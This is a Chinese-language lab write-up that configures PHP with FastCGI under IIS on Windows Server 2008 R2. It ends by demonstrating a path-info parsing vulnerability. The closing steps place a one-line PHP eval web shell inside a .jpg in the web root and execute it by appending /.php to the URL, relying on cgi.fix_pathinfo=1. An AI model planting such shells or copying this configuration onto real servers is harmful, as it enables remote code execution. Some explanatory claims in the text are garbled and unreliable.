实验目的
PHP解释器本那个够正常的解析网站中的图片,最后浏览器显示图片格式.jpg为空白,不能正常显示。
一、实验前期准备(该实验是在虚拟机Windows Server2008 R2中完成的)
1、下载php解释器
地址为:http://windows.php.net/download/
版本有两种,线程安全和非线程安全,线程安全是给apache用的,非线程安全是给iis用的,我们要配的是iis,所以下载非线程安全的,x86和x64看自己的机器是什么系统选择对应的版本下载就行了。
安装:vcredist_x64.exe
vcredist_x86.exe是微软公司VisualC++的32位运行时库,包含了一些VisualC++的库函数。支持的操作系统: Windows 2000, Windows Server 2003, Windows Vista, Windows XP。
2、安装php解释器
php可以说不用安装的,只要将文件解压到c:\php(一般不放在系统盘,那么就放E:\PHP)文件夹,就算安装完成了。我是在虚拟机里面完成,因此将php解释器解压的文件夹重命名为php后,直接放在C盘目录下,即c:\php。
3、在Windows Server2008 R2中安装Web服务器角色;
这里就不在介绍安装过程了,注意,需要将所有的所有的服务选项都添加上的,以免后面没有FastCgModule模块影响操作。
二、实验步骤
(一)配置php.ini文件
1、拷贝php.ini文件
将C:\php文件下的php.ini-development拷贝一份,并重命名为php.ini。
- 为什么要修改为.ini文件呢?因为在操作系统中,扩展名为.ini的文件可以被执行。
- 注意:注意在php.ini-development和php.ini文件中,每个选项前面的分号 ; 表示注释,如果要开启这个选项就应该直接删除掉前面的分号。
2、配置php.ini文件
2.1> 添加扩展插件的路径;
修改最后一行,填入自己真实的PHP解释器地址,以及后面跟着ext文件夹,这个里面放的都是插件;
1. ; Directory in which the loadable extensions (modules) reside.
2. ; http://php.net/extension-dir
3. ; extension_dir = "./"
4. ; On windows:
5. extension_dir = "c:\php\ext" #去掉前面的 ; 号,并添加ext文件的路径,即:c:\php\ext
ext文件
2.2> 在php.ini文件中设置要从ext文件中引入的插件;
若要引入某个插件,只要把其前面的分号 ; 去掉就可以了。在这里,我这里只引入了mysql、mysqli、mbstring。
- Many DLL files are located in the extensions/ (PHP 4) or ext/ (PHP 5+)
; extension folders as well as the separate PECL DLL download (PHP 5+).
; Be sure to appropriately set the extension_dir directive.
;
;extension=bz2
;extension=curl
;extension=fileinfo
;extension=gd2
;extension=gettext
;extension=gmp
;extension=intl
;extension=imap
;extension=interbase
;extension=ldap
extension=mbstring #这里有一个
;extension=exif ; Must be after mbstring as it depends on it
extension=mysqli #这里有一个
;extension=oci8_12c ; Use with Oracle Database 12c Instant Client
;extension=odbc
;extension=openssl
;extension=pdo_firebird
extension=pdo_mysql #这里有一个
;extension=pdo_oci
;extension=pdo_odbc
;extension=pdo_pgsql
;extension=pdo_sqlite
;extension=pgsql
;extension=shmop
2.3> 在php.ini文件中设置时区;
1. [Date]
2. ; Defines the default timezone used by the date functions
3. ; http://php.net/date.timezone
4. date.timezone = Asia/Shanghai #在这里
2.4> 支持短标签
This directive determines whether or not PHP will recognize code between
2. ; <? and ?> tags as PHP source which should be processed as such. It is
3. ; generally recommended that <?php and ?> should be used and that this feature
4. ; should be disabled, as enabling it may result in issues when generating XML
5. ; documents, however this remains supported for backward compatibility reasons.
6. ; Note that this directive does not control the <?= shorthand tag, which can be
7. ; used regardless of this directive.
8. ; Default Value: On
9. ; Development Value: Off
10. ; Production Value: Off
11. ; http://php.net/short-open-tag
12. short_open_tag = On #开启支持短标签
2.5> 启用fastcgi—— fastcgi类似于通信解析协议
fastcgi类似于某种通讯协议一样在Web服务器和PHP服务器之间协商通讯的。在这里我们开启的是PHP解释器的fastcgi的协议。在后面我们还要开启Web服务器的fastcgi协议。
1. ; FastCGI under IIS (on WINNT based OS) supports the ability to impersonate
2. ; security tokens of the calling client. This allows IIS to define the
3. ; security context that the request runs under. mod_fastcgi under Apache
4. ; does not currently support this feature (03/17/2002)
5. ; Set to 1 if running under IIS. Default is zero.
6. ; http://php.net/fastcgi.impersonate
7. fastcgi.impersonate = 1 #修改这里
2.6> cgi相关设置pathinfo
1. ; cgi.fix_pathinfo provides *real* PATH_INFO/PATH_TRANSLATED support for CGI. PHP's
2. ; previous behaviour was to set PATH_TRANSLATED to SCRIPT_FILENAME, and to not grok
3. ; what PATH_INFO is. For more information on PATH_INFO, see the cgi specs. Setting
4. ; this to 1 will cause PHP CGI to fix its paths to conform to the spec. A setting
5. ; of zero causes PHP to behave as before. Default is 1. You should fix your scripts
6. ; to use SCRIPT_FILENAME rather than PATH_TRANSLATED.
7. ; http://php.net/cgi.fix-pathinfo
8. cgi.fix_pathinfo=1 #修改这里
2.7> 将cgi相关设置redirect(重定向)关闭;
1. ; cgi.force_redirect is necessary to provide security running PHP as a CGI under
2. ; most web servers. Left undefined, PHP turns this on by default. You can
3. ; turn it off here AT YOUR OWN RISK
4. ; **You CAN safely turn this off for IIS, in fact, you MUST.**
5. ; http://php.net/cgi.force-redirect
6. cgi.force_redirect = 0 #修改这里
2.8> 建立session文件并设置session存储路径
- session和cookie一样属于输入网站令牌,不同的是:cookie存储在客户端,服务器值认识cookie;而session存储在服务器上。
- 在PHP目录下建立session文件夹。目的是为了储存session的文件,以防万一。
1. ; where MODE is the octal representation of the mode. Note that this
2. ; does not overwrite the process's umask.
3. ; http://php.net/session.save-path
4. session.save_path = "c:\php\session" #修改这里
9>配置数据库
这里的数据库名有的时mysql,有的是mysqli不一样的。
mysqli.default_port = 3306 #这里的3306是mysql默认的端口;
... ...
mysqli.default_host = localhost
... ...
mysqli.default_user = root
... ...
10> 开启输出缓存;
1. ; Note: This directive is hardcoded to Off for the CLI SAPI
2. ; Default Value: Off
3. ; Development Value: 4096
4. ; Production Value: 4096
5. ; http://php.net/output-buffering
6. output_buffering = On #这里应该是填一个值,比如4096
11> 限定上传文件体积最大值;
1. upload_max_filesize = 100M
1. display_errors=On
2. error_log="C:\windows\Temp\php-5.x.yy_errors.log"
3. error_reporting = E_ALL
4. fastcgi.logging = 0
5. html_errors=On
6. log_errors = On
3、将配置完成后的php.ini文件复制一份放到系统目录
- 到这里php.ini文件算笔配置完成!!!配置完成之后,将php.ini拷贝一份放到c:\windows下,目的是为了让Windows Server2008 R2操作系统可以执行PHP文件。注意,如果是win7使用的iis7已经不需要这么做了。
(二)配置IIS支持phpcgi
1、首先需要搭建IIS平台;
在这里我们的IIS已经提前搭建完成,这里就不详说了。
2、配置处理程序映射
管理工具 –> IIS -> WIN-UNI00QR5JE0 -> 处理程序映射 –> 添加模块映射.
配置如下:
- 这里的php-cgi.exe和PHP文件中的fastcgi类似于某种通讯协议一样在Web服务器和PHP服务器之间协商通讯的。
3、在站点根目录下新建一个php.jpg的文件;
- 我们在站点更目录C:\inetpub\wwwroot下新建一个文件,将把<?php @eval($_POST[‘cmd’]);?> 写到 一个txt文档里面 并且 把这个文档的后缀名改为.jpg 图片格式。
4、测试最终结果
这时候放到网站的目录下去访问 并给后面加上/.php
就会发现时空白页面 这就是产生了解析漏洞!!!!